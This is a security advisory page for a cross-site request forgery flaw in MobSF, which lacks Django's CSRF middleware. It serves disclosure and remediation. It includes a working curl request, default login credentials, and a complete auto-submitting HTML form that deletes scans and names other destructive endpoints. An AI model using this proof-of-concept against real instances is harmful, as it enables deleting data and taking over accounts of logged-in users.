GHSA-3p54-567p-2wpr: CSRF

Published Aug 18, 2026
·
Updated

Summary

Django's CsrfViewMiddleware exists only in the deprecated MIDDLEWARECLASSES (ignored since Django 2.0). The active MIDDLEWARE tuple does not include it. All authenticated web POST endpoints (delete scan, upload, download APK, change password, manage users) accept requests without CSRF tokens.

Verified Impact

This was verified by actually deleting a real scan from the running server using only a session cookie — no CSRF token was required:

$ curl -s -b cookies.txt -X POST "http://127.0.0.1:8000/deletescan/" \ -d "md5=68e76627798d62555d5287f4488a32c7&scantype=apk" {"deleted": "yes"}

The scan was removed from the database. This attack works from any website via HTML form auto-submission because: - No CSRF token is validated (middleware absent) - Cookie SameSite=Lax allows form-based top-level navigation to send the session cookie

Affected Component

File: mobsf/MobSF/settings.py (Lines 206-212)

MIDDLEWARE = ( 'mobsf.MobSF.views.api.apimiddleware.RestApiAuthMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', # MISSING: 'django.middleware.csrf.CsrfViewMiddleware' )

Steps to Reproduce

1. Start MobSF v4.4.6 and log in at http://127.0.0.1:8000/login/ (creds: mobsf/mobsf).

2. Upload and scan any APK to create a scan entry. Note the MD5 hash from "Recent Scans".

3. Open the following HTML file in the same browser (simulates visiting attacker's page):

html <!DOCTYPE html> <html> <head><title>Innocent Page</title></head> <body> <h1>Loading...</h1> <form id="f" method="POST" action="http://127.0.0.1:8000/deletescan/"> <input type="hidden" name="md5" value="PUTREALMD5HASHHERE" /> <input type="hidden" name="scantype" value="apk" /> </form> <script>document.getElementById('f').submit();</script> </body> </html>

4. The scan is deleted. Navigate back to MobSF "Recent Scans" to confirm it's gone.

Why This Is Not a Self-Bug

- The attack requires a victim user who is logged in to visit an attacker-controlled page - The attacker crafts the form targeting the victim's MobSF instance - All destructive POST endpoints are affected: /deletescan/, /upload/, /downloadscan/, /changepassword/, /createuser/, /deleteuser/ - This matches the pattern of previously accepted MobSF advisories (e.g., GHSA-5jc6-h9w7-jm3p, GHSA-8m9j-2f32-2vx4)

Remediation

Add 'django.middleware.csrf.CsrfViewMiddleware' to the active MIDDLEWARE tuple.

Affected Software

1 affected componentFixes available
pip/mobsf<4.5.1
4.5.1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/mobsf to a version that resolves this vulnerability.

    Fixed in 4.5.1
  2. Configuration

    Edit mobsf/MobSF/settings.py so that the active MIDDLEWARE tuple includes 'django.middleware.csrf.CsrfViewMiddleware' (the text says it is currently missing from lines 206-212).

    MobSF (Django) - mobsf/MobSF/settings.py MIDDLEWARE = Include 'django.middleware.csrf.CsrfViewMiddleware'

Event History

Aug 18, 2026
Advisory Published
via GitHub·06:01 PM
Data Sourced
via GitHub·06:01 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Who can realistically be targeted?

Authenticated users of the web interface are exposed when they visit an attacker-controlled website. The attacker does not need credentials or a CSRF token, but relies on the victim's active session cookie being sent with a cross-site form submission.

2

Is this caused by a non-default or optional configuration?

The active MIDDLEWARE configuration omits Django's CsrfViewMiddleware; its presence only in deprecated MIDDLEWARE_CLASSES does not provide protection in Django 2.0 and later. As a result, CSRF protection is not enabled by the active middleware configuration.

3

What actions can an attacker perform?

A successful attack can perform authenticated POST actions, including deleting scans, uploading or downloading APKs, changing passwords, and managing users. The reported verification deleted a real scan using only a session cookie and no CSRF token.

4

How can I determine whether an instance is affected?

Review the active MIDDLEWARE tuple in mobsf/MobSF/settings.py and verify that django.middleware.csrf.CsrfViewMiddleware is included. A practical test is to determine whether an authenticated POST request succeeds without a CSRF token; the reported delete_scan request did.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203